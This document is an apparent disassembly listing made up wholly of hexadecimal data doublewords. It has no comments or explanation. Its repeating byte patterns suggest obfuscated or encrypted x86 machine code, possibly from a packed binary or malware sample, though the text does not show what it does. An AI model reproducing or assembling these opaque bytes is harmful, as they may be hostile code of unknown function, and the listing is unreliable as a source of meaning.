		dd 2820F60h, 8B000000h,	669661F9h, 0FF343EBBh, 0AADDFB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 584A4A6Ch, 0C799D8Bh, 9D8B0607h,	6070675h
		dd 2D0995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 68E000C3h, 14E8C60Ah, 95000000h
		dd 6ACD3BC0h, 0E3DF2D14h, 8145BF53h, 542B0A57h,	0FB5FE67h
		dd 295FFFB7h, 707D9B5h,	1DBD8B06h, 8306070Fh, 714C1BDh
		dd 840F0006h, 10h, 0B213EB81h, 895009D7h, 95892434h, 6071F81h
		dd 0ADDFB5FFh, 0BF66060Ah, 5E81FDBh, 45000000h,	2C067C4Ch
		dd 6880Fh, 9D890000h, 60729E9h,	9595FF5Bh, 6A06071Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 1E92C351h, 42BA2801h, 0FE48ECBh, 0C86h, 7E900h, 0BD900000h
		dd 0D36315DBh, 0DFB5FFCCh, 8B060AADh, 710E59Dh,	0C195FF06h
		dd 6A060702h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 92A8C355h, 34D1B342h, 9DB531h
		dd 0BD830607h, 6072865h, 54840F02h, 66000000h, 8BF5DA8Bh
		dd 70E6985h, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8D0F67BAh, 6, 14E59D8Bh, 0C60607h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0C7497C45h, 72A5185h, 6,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 6381D9B5h, 8B66531Fh, 0F33CE9DEh, 9E9FFFFh, 0EE000000h
		dd 2C273152h, 4B59F1B2h, 0BE9C18Bh, 64000000h, 9D6E07CEh
		dd 0B0D6686Ch, 858DB75Ch, 60718B1h, 23459D33h, 0BB900607h
		dd 0BE46458h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F6286DC3h, 0F78043A3h, 3840FF9h
		dd 66000000h, 6AFA8Bh, 2C558529h, 6A0607h, 0BD8B89B3h
		dd 6071E39h, 9F1858Dh, 0B529060Ch, 60709EDh, 9005C083h
		dd 9050D98Bh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	0DEC35545h, 0F38137B4h,	7044B1A6h, 8B5B589h, 6A0607h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9AC35242h
		dd 3E4C1F76h, 0FD9D0906h, 6A060725h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 988D6074h
		dd 0DCEC3FC2h, 2A559D8Bh, 95FF0607h, 6071E3Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 27C35646h, 42C7652Eh
		dd 0F1DDC296h, 0D59D0B72h, 8D060711h, 0A93D58Dh, 6E906h
		dd 0F9870000h, 0AD7AB257h, 9D8BD1FFh, 6072F55h,	19BDBD83h
		dd 0F010607h, 0A385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0F6D666ADh, 2D799D8Bh
		dd 26A0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	63C35040h, 642D43DBh, 8BAAF77Fh, 712CDBDh, 0F609006h
		dd 1582h, 0FE800h, 16C00000h, 2FFC0262h, 0E01EE3BCh, 0FB4C4AA6h
		dd 8B605937h, 506161C3h, 90F88B66h, 28719D8Bh, 95FF0607h
		dd 6070791h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0E9C35545h, 0DFDB8F6Eh,	0D20E9h, 0E800h, 815D0000h
		dd 0C09FBEDh, 0C1B50906h, 0E9060704h, 0Dh, 6D46C620h, 0D33C4022h
		dd 0D8F28597h, 3F858DF9h, 6A060A84h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8783C352h
		dd 0C59BD0Bh, 5E90607h,	1B000000h, 537A4070h, 89DDB350h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4B1CECC3h, 0E1314403h, 8ADF7060h,	35FF64FAh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D3C35141h
		dd 0B8BF6657h, 0CE95BFCh, 9E000000h, 0ED479472h, 1345414Ah
		dd 64F6EE80h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D8969C3h, 6072F69h
		dd 2F5985FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B7E69EC3h, 31FF6A72h, 72D0D85h
		dd 25B5FF06h, 0E906071Eh, 0Fh, 0CBDF347h, 69F59ADh, 97BD349Dh
		dd 0FF9511FFh, 72B8995h, 0F8E906h, 8B660000h, 0BF00B0DAh
		dd 7C5CA5B9h, 2898D89h,	70E60607h, 9870Fh, 8D0F0000h, 3
		dd 0E9E2DF80h, 0Bh, 0D99D5D61h,	0AEF76359h, 0E4D2EE24h
		dd 31BD0371h, 3C06071Eh, 0B7830F61h, 8B000000h,	0C8B60FF8h
		dd 0BAF88B66h, 6, 2D2D9D8Bh, 85290607h,	6072AC5h, 0DA8BC18Bh
		dd 0F504E8C1h, 89E2F766h, 7207195h, 66C82B06h, 0D18BF88Bh
		dd 0E99D89h, 7BE90607h,	0F8000000h, 4E49858Bh, 81664400h
		dd 83AEA3C7h, 0BD8B07C0h, 6070BF1h, 0E800C083h,	9, 847497Bh
		dd 0DE4CBF84h, 4D9D8B00h, 5B060729h, 830FD03Bh,	6, 40E9F9h
		dd 8D8B0000h, 0FFFFFFFFh, 0E183F98Bh, 2F840F01h, 0F8000000h
		dd 13059D8Bh, 0A5830607h, 0FFFFFFFFh, 0DE9FEh, 82920000h
		dd 79D8721Ah, 0EACB4E61h, 8997B771h, 4E4995h, 0FABF0F44h
		dd 0E9F9h, 0B58D0000h, 60B8C8Eh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 18h, 7C35545h, 5E2190F6h, 6ADFBF0Fh
		dd 6995FF00h, 2906070Dh, 703E18Dh, 1017B906h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 203243C3h, 0AFE7BF66h, 89FCE183h, 729658Dh, 6AFC06h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 4258BEC3h, 0F5063731h, 0B8h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 7A6E1AD6h
		dd 0BA9DA771h, 0
		dd 29E18D09h, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 255EC9C3h, 6D9D896Eh, 0D060706h, 88h, 1249BD89h, 958B0607h
		dd 6071AD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	64C35747h, 89AFDA73h, 719059Dh,	1D8D8B06h, 89060710h
		dd 725E1BDh, 6890F06h, 8B000000h, 713A9BDh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 5043C352h, 50006AECh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 2D9EE84Bh, 0BD831B11h, 6070E29h
		dd 41840F00h, 81000000h, 654CA0F7h, 0B8F572h, 8D000000h
		dd 74B9B8Dh, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 6602B114h, 29D41ABFh, 720919Dh, 0BBE1FF06h
		dd 23237F51h, 3305BD83h, 0F000607h, 47C84h, 83F88B00h
		dd 73305BDh, 840F0106h,	488h, 5E9h, 0F061C300h,	0FA8A9D18h
		dd 3305BD83h, 0F030607h, 43986h, 0E9BD2900h, 60060713h
		dd 10A99501h, 8C660607h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 27F937EAh, 5378E964h
		dd 0CE9DD62h, 75000000h, 1800B63Ch, 0D129D9CDh,	80704A52h
		dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 660DF9C3h, 9C0BAB6h, 710459Dh, 0C1BD8906h
		dd 0A06072Ah, 41840FC9h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A966C352h
		dd 0BE921h, 2CEF0000h, 25FC003Ah, 0A9422094h, 1D858BE5h
		dd 6A06072Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 8608C350h, 0FD8533F9h,	8B06071Ah
		dd 9BD8BDEh, 50060711h,	89FE8B66h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C837B3C3h
		dd 0DB36965Eh, 6A23B7h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 44C35040h, 0B50991E8h, 6070ADDh, 0DDD76768h
		dd 0A3ADBF95h, 48172C1h, 412C9824h, 798D896Ah, 0FF060712h
		dd 709F995h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 9FF97FC6h, 5EE0A6E6h, 0ADDF8589h
		dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 664178C3h, 9B50EF81h, 20BE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0EB8177D5h, 501804C6h, 0ADD7858Bh, 6A060Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 892E23C3h, 0E0A447B5h, 75BD8BACh, 66060711h,	9A33F781h
		dd 1800C7h, 0B58B0000h,	60AADDBh, 9F85EB81h, 858B1E94h
		dd 6072BCDh, 2F159D09h,	6890607h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 2BC35646h, 596F100Dh, 0E9205129h
		dd 0Eh,	5BAA12A9h, 333754FBh, 30AC0C66h, 858BD0A0h, 6072A1Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9CC35141h
		dd 815893C7h, 1A263EECh, 446891Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 8FC35343h, 0E80AB18Ch, 6, 0D4B05E9Ah
		dd 0D88BB6E4h, 0FCBF665Bh, 52509620h, 5B5F5053h, 6A965Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9C893C3h, 7, 5760DEACh, 29584BE3h,	70699BDh, 0D7B5FF06h
		dd 6A060AADh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0BF91C355h, 0EA87BCB3h, 0D2088555h
		dd 1A758D29h, 0F6680607h, 0FC6CC79h, 888h, 2850F00h, 52000000h
		dd 2404815Bh, 39528A09h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 4DC35141h, 38202A1Eh,	0B5890179h, 60712C1h
		dd 858DF88Bh, 60AADDFh,	0FE9h, 0E7FD9500h, 2DC435FEh, 248539CFh
		dd 3BC5B77Fh, 0DA8B5650h, 2404895Bh, 0B85BD8Bh,	95FF0607h
		dd 60709F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	66C35141h, 0BD8B5C73h, 6070CD5h, 0D59D8B61h, 0C7060703h
		dd 7330585h, 306h, 8B665600h, 0BD835FFEh, 60AADDFh, 6F840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0FD7C355h, 0B8Bh, 5850F00h, 0BB000000h
		dd 572DA139h, 58E9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 4370348Ah, 5D28EAF0h
		dd 0DE927DEh, 4C000000h, 43F36D51h, 85C4CD45h, 0C9D53FC1h
		dd 0EED8589h, 30500607h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 14E8C0h, 0AFBA0000h, 0E14FE3BBh
		dd 0B6989116h, 19229C34h, 6993060Dh, 8589D033h,	6070F05h
		dd 55006A5Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 89818CFFh, 728E18Dh, 5EBB6606h, 5BD835Ah
		dd 3060733h, 3C6850Fh, 840F0000h, 2, 0BD83FA8Bh, 60AADDFh
		dd 0B1840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 6816C351h, 0DFB5FFD0h
		dd 6A060AADh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0DABCC355h, 5F9C3FB2h,	0BB97F28Ah
		dd 2808DB1Dh, 212995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0DF7A34C3h, 85016DD6h
		dd 607055Dh, 0ADD3B58Bh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8529DFC3h, 6072835h
		dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 9E35F8C3h, 0B809610h, 8955D81Eh
		dd 710D185h, 52505006h,	0BE8310Fh, 50000000h, 45DA41B9h
		dd 8C1B2CBEh, 5250729Dh, 585A310Fh, 89585A5Fh, 6A2434h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 4A5A8DC3h, 9D03A848h, 6072A81h, 11E8h, 0C6A98500h, 7E1B964Dh
		dd 0B39DFF33h, 0A0ABC89Ah, 8B66FEC5h, 0B5FF5FDEh, 60AADDFh
		dd 18FDBD8Bh, 95FF0607h, 6070251h, 2E5D8D89h, 0B58B0607h
		dd 60AADD3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0F3C35040h, 9D0BF9B7h, 6070D95h, 12A1858Bh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 7E875C3h, 0EA000000h, 28516132h, 895B616Ah, 70625BDh
		dd 0C4868906h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AFF5C353h, 8589518Ch, 60712A5h, 21C1BD8Bh
		dd 958B0607h, 6071AD9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 45C35545h, 0F7023F78h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1EB3C356h, 0C9CA3FF0h, 0BD8B5521h, 60710CDh,	89205089h
		dd 72C2985h, 70858D06h,	60060AC1h, 0FA22BF66h, 8961F48Ah
		dd 0B886h, 10CF8100h, 8B00DDB0h, 50006ADAh, 0E1602BBh
		dd 0B5FF5B3Ch, 60AADDFh, 79195FFh, 5E90607h, 92000000h
		dd 19D7180Ah, 0DC60BB50h, 34891AEBh, 0FFDE8B24h, 0AADDFB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 878C6525h, 0FF5ED380h, 72D0995h,	8BCF8106h
		dd 834D00BBh, 714C1BDh,	840F0006h, 0Bh,	0B589D5B3h, 6071EB5h
		dd 0FF965096h, 0AADDFB5h, 6820F06h, 0B000000h, 7025D9Dh
		dd 9595FF06h, 6A06071Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 5FBC352h, 0F5555F6Dh
		dd 0ADDFB5FFh, 8D29060Ah, 60700A5h, 2C195FFh, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 3C22D1C3h, 66A21CB5h, 0C65CD381h, 2BFDBD8Bh,	0BD830607h
		dd 6072865h, 36840F02h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4C88C352h
		dd 942BCAB1h, 199D8BDEh, 8B060728h, 70E6985h, 0C606h, 6F1737BBh
		dd 5185C772h, 6072Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 147AC353h, 0D705E53Dh
		dd 0E20752FCh, 0FFF420E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 4819370Ah
		dd 23EF63D1h, 0E635EB81h, 0BF0F6F9Bh, 81C18BF9h, 91D2EFC7h
		dd 0B1858D4Fh, 6A060718h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 36DDC350h, 711E190h
		dd 0BAEAAA3Bh, 6EDF8166h, 810F51E8h, 2,	505B6160h, 2F9E46BFh
		dd 2404890Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	8CC35141h, 4EA5F4ABh, 50B57747h, 1DDDBD8Bh, 6A5F0607h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0E83084ABh, 0E983DF0Dh, 8B006A9Dh, 721319Dh
		dd 1D858D06h, 0F060C19h, 87h, 5C08300h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0BCC35646h, 75231EE4h
		dd 0ABC025B0h, 89F88B50h, 0FA8B2404h, 65B7006Ah, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 79A2FFC3h, 81667A6Bh, 0FFC03BCFh, 71E3D95h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 24650D3Eh, 0AE4850DFh, 0D4BBDFD7h, 8D1B75B0h, 0A93D58Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 80D1FF2Dh, 0BD8303DFh, 60719BDh,	0A1850F01h
		dd 6A000000h, 8D896002h, 6072D11h, 2870Fh, 59560000h, 9E99061h
		dd 78000000h, 15F750F4h, 0A8BC46E7h, 14E850h, 4E6F0000h
		dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h,	0BB664182h
		dd 905F461Ch, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0A1C35141h, 0BD8BAC22h,	6071519h, 6890Fh, 0B5890000h
		dd 6073329h, 79195FFh, 6A0607h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0E8C79BC3h, 5DBD8B3Ah
		dd 6606070Bh, 0A507C381h, 0BD3E9h, 0E800h, 815D0000h, 0C1927EDh
		dd 7E806h, 228D0000h, 9C91D2A0h, 0E78166E9h, 0E95B568Ah
		dd 0Bh,	0A86408A7h, 59090C59h, 8D7196B3h, 0A843F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0F8B604DBh, 0D83EC648h, 0E850F8F5h, 9, 9EA2824Ah, 399209E7h
		dd 0DA8B66E2h, 2404895Fh, 0EFB36057h, 0FF645B61h, 35h
		dd 25896400h, 0
		dd 89FEBF0Fh, 7059985h,	5985FF06h, 0B306072Fh, 66FF6A1Fh
		dd 0B5FFD98Bh, 6070A21h, 2C618589h, 0BB660607h,	95FFB4BEh
		dd 6072B89h, 135E9h, 0D8B70F00h, 70E600B0h, 14E9h, 0E885F500h
		dd 89A0BF08h, 1B5B0AE7h, 30B9B18Dh, 0C8FC75F7h,	0E871E4EDh
		dd 0Dh,	0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 57EF8094h, 0F613C5Bh
		dd 0F583h, 6820F00h, 29000000h,	726619Dh, 0C8B60F06h, 0BADA8B66h
		dd 6, 5630BB66h, 25B7C18Bh, 0F04E8C1h, 583h, 0F3C1BB00h
		dd 8D8961D8h, 6070085h,	0BBE2F766h, 2649F919h, 880FC82Bh
		dd 6, 2FF9BD8Bh, 0D18B0607h, 2D35BD8Bh,	0D7810607h, 65DEB335h
		dd 99E9h, 0D59D8B00h, 8B060721h, 5F4C4C85h, 0D7816650h
		dd 0C083B35Ah, 61BD8B07h, 8306070Dh, 0EB8100C0h, 175D7B43h
		dd 830FD03Bh, 0Dh, 67E9FE8Bh, 89000000h, 7058995h, 0FF8D8B06h
		dd 0E8FFFFFFh, 10h, 55E1EC52h, 97E517CAh, 2DFAEDB7h, 9C7F83B5h
		dd 7E9h, 26062600h, 54223952h, 1E1835Fh, 30840Fh, 0B5890000h
		dd 6070ED9h, 0FFFFA583h, 0E8FEFFFFh, 0Ah, 499BB94Ah, 30ED25A7h
		dd 0B70F769Bh, 95895FD8h, 505F4C4Ch, 0EDDDC7BBh, 0E953h
		dd 0B58D0000h, 60B9CA5h, 7E9h, 5A703500h, 0FAD0B85Fh, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D9AB5FC3h, 0DB3C086Fh, 80736F4Ah, 95FFBAC7h, 6070D69h
		dd 6DB9DA8Bh, 0BB00000Eh, 9D3F084h, 0FCFCE183h,	2E5D8D89h
		dd 0C02B0607h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0DFC35242h, 1EB576F0h, 0FB8BFB8Bh, 2BFA8B66h, 8DB589D2h
		dd 0AD060704h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 21FFC355h, 0C3802833h, 8E888h, 58C0000h, 0EC4E88E8h
		dd 0FE8A1FBDh, 0FB8B665Bh, 0B4EF8166h, 880DDFh,	8E90000h
		dd 0C000000h, 0FFA3929Bh, 8B4B4D8Dh, 71AD995h, 3D853106h
		dd 8B060710h, 7101D8Dh,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8A5C64ACh, 0C28B50DAh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8158188Bh, 67B7ED7h
		dd 68E0F4Eh, 29000000h,	718F59Dh, 29BD8306h, 6070Eh, 3F840Fh
		dd 0BD230000h, 6072B25h, 0B8h, 4DFBBF00h, 8D8D5131h, 6074B9Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0EDC35040h
		dd 60D337F4h, 9E1FF32h,	72251BDh, 5BD8306h, 60733h, 3D1840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 7DB994C3h, 3305BD83h, 0F010607h, 3C184h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0FE8B6667h, 3305BD83h, 0F030607h, 35F86h
		dd 60CEB700h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0E743C355h,	0C8EEFA94h
		dd 12E960BFh, 12000000h, 4C4C35F6h, 0B9D2D8D5h,	4E6AD53h
		dd 0F74CE53h, 4E180D0h,	51BD8BF5h, 0A06070Ch, 34840FC9h
		dd 8B000001h, 72A1D85h,	9E806h,	3FD30000h, 0ECE105B7h
		dd 5B0B099Eh, 1AFD8533h, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 816646C3h, 50F41EF3h
		dd 89FE8B66h, 6A2404h, 14E99D8Bh, 4E80607h, 0FF000000h
		dd 60001F03h, 5061F9B7h, 38D0Fh, 8B660000h, 24448BF9h
		dd 14E904h, 0F3860000h,	9B2C3EB2h, 57E11EF2h, 0C80E45EAh
		dd 5C5D065Fh, 8B15D2h, 11E9h, 628F7F00h, 0E90A2D41h, 0D5AC1F96h
		dd 0B8ACD438h, 4489C317h, 8B660424h, 6A58F8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 514CA8C3h
		dd 943F36Dh, 732F59Dh, 0F995FF06h, 6A060709h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 807AC356h, 9D892C0Fh, 6073125h, 11E953h, 7B1E0000h
		dd 63D6ED1Bh, 1F3AB5CAh, 921951E0h, 5B0E8429h, 0ADDF8589h
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0E7C6F3C3h, 16FE9h, 8BD3B300h, 0AADD785h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 81666070h, 891EA1D2h, 70D1995h, 0BD236106h
		dd 60728D9h, 25E9BD8Bh,	0C70607h, 18h, 0BE86BF66h, 0ADDBB58Bh
		dd 0F98A060Ah, 2BCD858Bh, 89F50607h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 858B8740h
		dd 6072A1Dh, 19099589h,	46890607h, 6890F04h, 8B000000h
		dd 718619Dh, 0FA8B9606h, 0D1B56050h, 0BE9h, 0DE0E4300h
		dd 0B88C6892h, 7EE41C77h, 0AE89661h, 0D7000000h, 2C70779Ch
		dd 68FE5045h, 3DBD2908h, 5B060729h, 0ADD7B5FFh,	6A060Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 6A6840C3h, 5C0F3021h, 168BEE4h, 0F62EB1Dh, 88Ah, 2800F00h
		dd 8B000000h, 243481D8h, 62F41EFEh, 858DF98Bh, 60AADDFh
		dd 0F50E7B7h, 88h, 24048900h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 4DC35040h, 0F5BBC520h, 0FF3F0805h
		dd 709F995h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0C25BF3E5h, 217D8D89h, 5E90607h
		dd 64000000h, 53FFC980h, 85C7F561h, 6073305h, 3, 11E9h
		dd 11019900h, 0BEA64C27h, 27187A0Fh, 74FA5A1Dh,	0CE9BA9Bh
		dd 0DB000000h, 0C0F71507h, 0FDBB11CDh, 834DA6BDh, 0AADDFBDh
		dd 840F0006h, 2Ch, 41E9F8h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 9BD561C3h
		dd 0BD8B93E5h, 60705A5h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E8C4C355h,	0Bh, 0C8D1DFEBh
		dd 50369DA8h, 0BFB17D99h, 74AC9832h, 12E9525Bh,	0B8000000h
		dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h,	0BD835B96h
		dd 6073305h, 0E6850F03h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5E4DC350h
		dd 83DF8BC1h, 0AADDFBDh, 840F0006h, 3B9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 6AC35646h, 0CF2C7206h
		dd 0CD95296Eh, 0FF06071Eh, 0AADDFB5h, 1854BF06h, 95FF46BCh
		dd 6072129h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	39C35545h, 6B970992h, 8BF98B66h, 0AADD3B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0D8C67AA5h, 8964746Dh, 70FCDBDh, 106C706h, 6A000100h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0B3F8C355h, 98E38166h, 0E9605055h, 13h, 6009254Bh
		dd 2A2811C8h, 2926DF8Ah, 761405D0h, 0E8940421h,	0Ah, 0ACC6D6F6h
		dd 54464F12h, 8E0F1750h, 0
aAi4J		db '[a┴4$j',0
		db 57h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0C232C59Ch, 302DBD89h, 0BD8B0607h, 6070FD5h,	0B5FFF6B7h
		dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	2AC35747h, 3E12D58Eh, 29FD9D29h, 95FF0607h, 6070251h
